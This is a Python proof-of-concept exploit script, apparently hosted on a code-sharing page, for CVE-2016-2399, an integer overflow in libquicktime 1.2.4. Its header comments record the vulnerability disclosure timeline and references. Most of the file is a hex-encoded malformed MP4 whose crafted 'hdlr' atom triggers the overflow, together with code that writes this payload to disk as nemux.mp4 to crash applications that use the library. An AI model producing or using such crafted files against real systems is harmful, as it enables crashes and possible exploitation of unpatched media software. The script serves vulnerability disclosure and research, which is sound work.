102 lines
No EOL
3.9 KiB
Python
Executable file
102 lines
No EOL
3.9 KiB
Python
Executable file
#!/usr/bin/env python
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#
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###
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# - 7 February 2016 -
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# My last bug hunting session (*for fun and no-profit*)
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# has been dedicated to libquicktime
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###
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#
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# Author: Marco Romano - @nemux_ http://www.nemux.org
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# libquicktime 1.2.4 Integer Overflow
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#
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# Product Page: http://libquicktime.sourceforge.net/
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# Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow
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# Affected products: All products using libquicktime version <= 1.2.4
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#
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# CVE-ID: CVE-2016-2399
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#
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# Disclosure part: http://www.nemux.org
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#
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########
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####### Timeline
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#
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# 07 Feb 2016 Bug discovered
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# 17 Feb 2016 Mitre.org contacted
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# 17 Feb 2016 Disclosed to the project's maintainer
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# 23 Feb 2016 No response from the maintainer
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# 23 Feb 2016 Publicly disclosed
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#
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########
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####### References
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#
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# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2399
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# http://libquicktime.sourceforge.net/
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# http://www.linuxfromscratch.org/blfs/view/svn/multimedia/libquicktime.html
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# https://en.wikipedia.org/wiki/QuickTime\_File\_Format
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#
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#######
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#
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# DISCLAIMER: It's just a PoC... it will crash something
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#
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####
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import sys
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import struct
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import binascii
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"""
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There needs to be an mp4 file with these nested atoms to trigger the bug:
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moov -> trak -> mdia -> hdlr
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"""
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hax0r_mp4 = ("0000001C667479704141414100000300336770346D70343133677036000000086D646174000001B1"
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"6D6F6F76" #### moov atom
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"0000006C6D76686400000000CC1E6D6ECC1E6D6E000003E80000030200010000010000000000000000000000"
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"000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000000"
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"00000000000000000000000000000003000000FD756474610000001263707274000000000000FEFF0000000000126175"
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"7468000000000000FEFF0000000000127469746C000000000000FEFF00000000001264736370000000000000FEFF0000"
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"0000001270657266000000000000FEFF000000000012676E7265000000000000FEFF00000000001A72746E6700000000"
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"00000000000000000000FEFF000000000018636C7366000000000000000000000000FEFF00000000000F6B7977640000"
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"000055C400000000276C6F6369000000000000FEFF000000000000000000000000000000FEFF0000FEFF0000000000FF"
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"616C626D000000000000FEFF0000010000000E79727263000000000000000002E4"
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"7472616B" #### trak atom
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"0000005C746B686400000001CC1E6D6ECC1E6D6E00000001000000000000030000000000000000000000000001000000"
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"000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000040"
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"6D646961" #### mdia atom
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"000000206D64686400000000CC1E6D6ECC1E6D6E00003E800000300000000000000000"
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"4E" #### hdlr atom length
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"68646C72" #### hdlr atom
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"0000000000"
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"4141414141414141" #### our airstrip :)
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"0000000000000000000000"
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"EC" #### 236 > 127 <-- overflow here and a change in signedness too
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"616161000000FF736F756E000000000000000000000000536F756E6448616E646C6572000000012B6D696E6600000010")
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hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4))
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def createPoC():
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try:
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with open("./nemux.mp4","wb") as output:
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output.write(hax0r_mp4)
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print "[*] The PoC is done!"
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except Exception,e:
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print str(e)
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print "[*] mmmm!"
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def usage():
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print "\nUsage? Run it -> " + sys.argv[0]
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print "this poc creates an mp4 file named nemux.mp4"
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print "--------------------------------------------"
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print "This dummy help? " + sys.argv[0] + " help\n"
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sys.exit()
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if __name__ == "__main__":
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try:
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if len(sys.argv) == 2:
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usage()
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else:
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print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n"
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print "Author: Marco Romano - @nemux_ - http://www.nemux.org\n\n";
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createPoC();
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except Exception,e:
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print str(e)
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print "Ok... Something went wrong..."
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sys.exit() |